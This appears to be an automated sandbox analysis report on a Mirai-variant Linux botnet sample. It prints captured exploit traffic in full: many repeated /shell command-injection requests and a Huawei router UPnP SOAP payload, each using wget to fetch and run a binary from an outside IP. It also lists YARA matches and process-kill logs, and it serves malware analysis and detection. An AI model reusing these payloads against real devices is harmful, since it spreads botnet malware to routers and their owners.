Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+ 94.156.71.59/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+ 94.156.71.59/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+ 94.156.71.59/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+ 94.156.71.59/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+ 94.156.71.59/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+ 94.156.71.59/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+ 94.156.71.59/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+ 94.156.71.59/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+ 94.156.71.59/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+ 94.156.71.59/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+ 94.156.71.59/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+ 94.156.71.59/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+ 94.156.71.59/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+ 94.156.71.59/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+ 94.156.71.59/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+ 94.156.71.59/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+ 94.156.71.59/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+ 94.156.71.59/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+ 94.156.71.59/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+ 94.156.71.59/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+ 94.156.71.59/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+ 94.156.71.59/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+ 94.156.71.59/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+ 94.156.71.59/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+ 94.156.71.59/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+ 94.156.71.59/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+ 94.156.71.59/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+ 94.156.71.59/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+ 94.156.71.59/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+ 94.156.71.59/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+ 94.156.71.59/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+ 94.156.71.59/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+ 94.156.71.59/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+ 94.156.71.59/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+ 94.156.71.59/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+ 94.156.71.59/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+ 94.156.71.59/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+ 94.156.71.59/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+ 94.156.71.59/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+ 94.156.71.59/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+ 94.156.71.59/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+ 94.156.71.59/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+ 94.156.71.59/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+ 94.156.71.59/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+ 94.156.71.59/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+ 94.156.71.59/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+ 94.156.71.59/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+ 94.156.71.59/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+ 94.156.71.59/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+ 94.156.71.59/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+ 94.156.71.59/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+ 94.156.71.59/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+ 94.156.71.59/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+ 94.156.71.59/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive

Source: global traffic

DNS traffic detected: DNS query: woofwoof.cfd

Source: unknown

HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Content-Length: 430Connection: keep-aliveAccept: */*Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 39 34 2e 31 35 36 2e 37 31 2e 35 39 20 2d 6c 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 20 2d 72 20 2f 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 70 64 65 66 61 75 6c 74 2f 74 34 70 30 6e 74 30 37 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 3b 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 20 68 75 61 77 65 69 2e 65 78 70 6c 6f 69 74 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 94.156.71.59 -l /tmp/.unstable -r /t4t4t4t4t4t4t4t4t4t4t4t4t4pdefault/t4p0nt07.mips; /bin/busybox chmod 777 * /tmp/.unstable; /tmp/.unstable huawei.exploit)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Source: s8y4CBbFHW.elf	String found in binary or memory: http://schemas.xmlsoap.org/soap/encoding/
Source: s8y4CBbFHW.elf	String found in binary or memory: http://schemas.xmlsoap.org/soap/envelope/

System Summary

Malicious sample detected (through community Yara rule)

Source: s8y4CBbFHW.elf, type: SAMPLE	Matched rule: Detects ELF Mirai variant Author: Florian Roth
Source: s8y4CBbFHW.elf, type: SAMPLE	Matched rule: Detects ELF malware Mirai related Author: Florian Roth
Source: 5441.1.00007f5714400000.00007f5714412000.r-x.sdmp, type: MEMORY	Matched rule: Detects ELF Mirai variant Author: Florian Roth
Source: 5441.1.00007f5714400000.00007f5714412000.r-x.sdmp, type: MEMORY	Matched rule: Detects ELF malware Mirai related Author: Florian Roth
Source: 5438.1.00007f5714400000.00007f5714412000.r-x.sdmp, type: MEMORY	Matched rule: Detects ELF Mirai variant Author: Florian Roth
Source: 5438.1.00007f5714400000.00007f5714412000.r-x.sdmp, type: MEMORY	Matched rule: Detects ELF malware Mirai related Author: Florian Roth
Source: 5439.1.00007f5714400000.00007f5714412000.r-x.sdmp, type: MEMORY	Matched rule: Detects ELF Mirai variant Author: Florian Roth
Source: 5439.1.00007f5714400000.00007f5714412000.r-x.sdmp, type: MEMORY	Matched rule: Detects ELF malware Mirai related Author: Florian Roth
Source: 5432.1.00007f5714400000.00007f5714412000.r-x.sdmp, type: MEMORY	Matched rule: Detects ELF Mirai variant Author: Florian Roth
Source: 5432.1.00007f5714400000.00007f5714412000.r-x.sdmp, type: MEMORY	Matched rule: Detects ELF malware Mirai related Author: Florian Roth
Source: 5436.1.00007f5714400000.00007f5714412000.r-x.sdmp, type: MEMORY	Matched rule: Detects ELF Mirai variant Author: Florian Roth
Source: 5436.1.00007f5714400000.00007f5714412000.r-x.sdmp, type: MEMORY	Matched rule: Detects ELF malware Mirai related Author: Florian Roth

Sample tries to kill multiple processes (SIGKILL)

Source: /tmp/s8y4CBbFHW.elf (PID: 5443)	SIGKILL sent: pid: 3104, result: successful	Jump to behavior
Source: /tmp/s8y4CBbFHW.elf (PID: 5443)	SIGKILL sent: pid: 3161, result: successful	Jump to behavior
Source: /tmp/s8y4CBbFHW.elf (PID: 5443)	SIGKILL sent: pid: 3162, result: successful	Jump to behavior
Source: /tmp/s8y4CBbFHW.elf (PID: 5443)	SIGKILL sent: pid: 3163, result: successful	Jump to behavior
Source: /tmp/s8y4CBbFHW.elf (PID: 5443)	SIGKILL sent: pid: 3164, result: successful	Jump to behavior
Source: /tmp/s8y4CBbFHW.elf (PID: 5443)	SIGKILL sent: pid: 3165, result: successful	Jump to behavior
Source: /tmp/s8y4CBbFHW.elf (PID: 5443)	SIGKILL sent: pid: 3170, result: successful	Jump to behavior
Source: /tmp/s8y4CBbFHW.elf (PID: 5443)	SIGKILL sent: pid: 3182, result: successful	Jump to behavior
Source: /tmp/s8y4CBbFHW.elf (PID: 5443)	SIGKILL sent: pid: 3212, result: successful	Jump to behavior
Source: /tmp/s8y4CBbFHW.elf (PID: 5443)	SIGKILL sent: pid: 5438, result: successful	Jump to behavior
Source: /tmp/s8y4CBbFHW.elf (PID: 5443)	SIGKILL sent: pid: 5439, result: successful	Jump to behavior
Source: /tmp/s8y4CBbFHW.elf (PID: 5443)	SIGKILL sent: pid: 5441, result: successful	Jump to behavior
Source: /tmp/s8y4CBbFHW.elf (PID: 5443)	SIGKILL sent: pid: 5457, result: successful	Jump to behavior
Source: /tmp/s8y4CBbFHW.elf (PID: 5443)	SIGKILL sent: pid: 5458, result: successful	Jump to behavior
Source: /tmp/s8y4CBbFHW.elf (PID: 5443)	SIGKILL sent: pid: 5459, result: successful	Jump to behavior
Source: /tmp/s8y4CBbFHW.elf (PID: 5443)	SIGKILL sent: pid: 5460, result: successful	Jump to behavior
Source: /tmp/s8y4CBbFHW.elf (PID: 5443)	SIGKILL sent: pid: 5461, result: successful	Jump to behavior
Source: /tmp/s8y4CBbFHW.elf (PID: 5443)	SIGKILL sent: pid: 5462, result: successful	Jump to behavior
Source: /tmp/s8y4CBbFHW.elf (PID: 5443)	SIGKILL sent: pid: 5478, result: successful	Jump to behavior
Source: /tmp/s8y4CBbFHW.elf (PID: 5443)	SIGKILL sent: pid: 5487, result: successful	Jump to behavior

Source: xfce4-panel.xml.new.32.dr

OLE indicator, VBA macros: true

Source: xfce4-panel.xml.new.32.dr

OLE stream indicators for Word, Excel, PowerPoint, and Visio: all false

Source: Initial sample

String containing 'busybox' found: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 94.156.71.59 -l /tmp/.unstable -r /t4t4t4t4t4t4t4t4t4t4t4t4t4pdefault/t4p0nt07.mips; /bin/busybox chmod 777 * /tmp/.unstable; /tmp/.unstable huawei.exploit)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Source: ELF static info symbol of initial sample

.symtab present: no

Source: /tmp/s8y4CBbFHW.elf (PID: 5443)	SIGKILL sent: pid: 3104, result: successful	Jump to behavior
Source: /tmp/s8y4CBbFHW.elf (PID: 5443)	SIGKILL sent: pid: 3161, result: successful	Jump to behavior
Source: /tmp/s8y4CBbFHW.elf (PID: 5443)	SIGKILL sent: pid: 3162, result: successful	Jump to behavior
Source: /tmp/s8y4CBbFHW.elf (PID: 5443)	SIGKILL sent: pid: 3163, result: successful	Jump to behavior
Source: /tmp/s8y4CBbFHW.elf (PID: 5443)	SIGKILL sent: pid: 3164, result: successful	Jump to behavior
Source: /tmp/s8y4CBbFHW.elf (PID: 5443)	SIGKILL sent: pid: 3165, result: successful	Jump to behavior
Source: /tmp/s8y4CBbFHW.elf (PID: 5443)	SIGKILL sent: pid: 3170, result: successful	Jump to behavior
Source: /tmp/s8y4CBbFHW.elf (PID: 5443)	SIGKILL sent: pid: 3182, result: successful	Jump to behavior
Source: /tmp/s8y4CBbFHW.elf (PID: 5443)	SIGKILL sent: pid: 3212, result: successful	Jump to behavior
Source: /tmp/s8y4CBbFHW.elf (PID: 5443)	SIGKILL sent: pid: 5438, result: successful	Jump to behavior
Source: /tmp/s8y4CBbFHW.elf (PID: 5443)	SIGKILL sent: pid: 5439, result: successful	Jump to behavior
Source: /tmp/s8y4CBbFHW.elf (PID: 5443)	SIGKILL sent: pid: 5441, result: successful	Jump to behavior
Source: /tmp/s8y4CBbFHW.elf (PID: 5443)	SIGKILL sent: pid: 5457, result: successful	Jump to behavior
Source: /tmp/s8y4CBbFHW.elf (PID: 5443)	SIGKILL sent: pid: 5458, result: successful	Jump to behavior
Source: /tmp/s8y4CBbFHW.elf (PID: 5443)	SIGKILL sent: pid: 5459, result: successful	Jump to behavior
Source: /tmp/s8y4CBbFHW.elf (PID: 5443)	SIGKILL sent: pid: 5460, result: successful	Jump to behavior
Source: /tmp/s8y4CBbFHW.elf (PID: 5443)	SIGKILL sent: pid: 5461, result: successful	Jump to behavior
Source: /tmp/s8y4CBbFHW.elf (PID: 5443)	SIGKILL sent: pid: 5462, result: successful	Jump to behavior
Source: /tmp/s8y4CBbFHW.elf (PID: 5443)	SIGKILL sent: pid: 5478, result: successful	Jump to behavior
Source: /tmp/s8y4CBbFHW.elf (PID: 5443)	SIGKILL sent: pid: 5487, result: successful	Jump to behavior

Source: s8y4CBbFHW.elf, type: SAMPLE	Matched rule: MAL_ELF_LNX_Mirai_Oct10_1 date = 2018-10-27, hash1 = 3be2d250a3922aa3f784e232ce13135f587ac713b55da72ef844d64a508ddcfe, author = Florian Roth, description = Detects ELF Mirai variant, reference = Internal Research
Source: s8y4CBbFHW.elf, type: SAMPLE	Matched rule: MAL_ELF_LNX_Mirai_Oct10_2 date = 2018-10-27, hash1 = fa0018e75f503f9748a5de0d14d4358db234f65e28c31c8d5878cc58807081c9, author = Florian Roth, description = Detects ELF malware Mirai related, reference = Internal Research
Source: 5441.1.00007f5714400000.00007f5714412000.r-x.sdmp, type: MEMORY	Matched rule: MAL_ELF_LNX_Mirai_Oct10_1 date = 2018-10-27, hash1 = 3be2d250a3922aa3f784e232ce13135f587ac713b55da72ef844d64a508ddcfe, author = Florian Roth, description = Detects ELF Mirai variant, reference = Internal Research
Source: 5441.1.00007f5714400000.00007f5714412000.r-x.sdmp, type: MEMORY	Matched rule: MAL_ELF_LNX_Mirai_Oct10_2 date = 2018-10-27, hash1 = fa0018e75f503f9748a5de0d14d4358db234f65e28c31c8d5878cc58807081c9, author = Florian Roth, description = Detects ELF malware Mirai related, reference = Internal Research
Source: 5438.1.00007f5714400000.00007f5714412000.r-x.sdmp, type: MEMORY	Matched rule: MAL_ELF_LNX_Mirai_Oct10_1 date = 2018-10-27, hash1 = 3be2d250a3922aa3f784e232ce13135f587ac713b55da72ef844d64a508ddcfe, author = Florian Roth, description = Detects ELF Mirai variant, reference = Internal Research
Source: 5438.1.00007f5714400000.00007f5714412000.r-x.sdmp, type: MEMORY	Matched rule: MAL_ELF_LNX_Mirai_Oct10_2 date = 2018-10-27, hash1 = fa0018e75f503f9748a5de0d14d4358db234f65e28c31c8d5878cc58807081c9, author = Florian Roth, description = Detects ELF malware Mirai related, reference = Internal Research
Source: 5439.1.00007f5714400000.00007f5714412000.r-x.sdmp, type: MEMORY	Matched rule: MAL_ELF_LNX_Mirai_Oct10_1 date = 2018-10-27, hash1 = 3be2d250a3922aa3f784e232ce13135f587ac713b55da72ef844d64a508ddcfe, author = Florian Roth, description = Detects ELF Mirai variant, reference = Internal Research
